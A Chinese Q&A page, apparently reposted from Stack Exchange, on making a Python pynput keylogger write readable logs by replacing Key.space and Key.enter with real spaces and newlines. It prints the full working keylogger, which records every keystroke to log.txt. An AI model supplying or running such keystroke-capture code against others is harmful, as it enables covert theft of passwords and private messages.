如何优化Python键盘记录器生成的日志文件格式
优化键盘记录器日志格式方案
原代码会将空格、回车这类特殊按键以Key.space、Key.enter的形式写入日志,要实现将它们替换为实际空格和换行,只需修改write_file函数的按键处理逻辑,区分普通字符与特殊按键:
修改后的完整代码
import pynput from pynput.keyboard import Key, Listener keys = [] def on_press(key): keys.append(key) write_file(keys) try: print(key.char) except AttributeError: print(key) def write_file(keys): with open('log.txt', 'w') as f: for key in keys: try: # 普通字符直接写入 f.write(key.char) except AttributeError: # 针对特殊按键做格式替换 if key == Key.space: f.write(' ') elif key == Key.enter: f.write('\n') else: # 其他特殊按键可按需自定义,这里用[按键名]格式标注 f.write(f'[{str(key).replace("Key.", "")}]') with Listener(on_press=on_press) as listener: listener.join()
关键修改说明
- 普通字符处理:直接写入
key.char,省去原代码中替换引号的操作,避免冗余字符。 - 特殊按键匹配:通过
AttributeError捕获特殊按键,针对性替换格式:- 匹配
Key.space时写入实际空格 - 匹配
Key.enter时写入换行符 - 其他特殊按键(如退格、制表符)可按需扩展处理逻辑,示例中用
[按键名]格式标注,便于识别操作。
- 匹配
内容的提问来源于stack exchange,提问作者Munim Jaffer
相关产品推荐
相关产品推荐

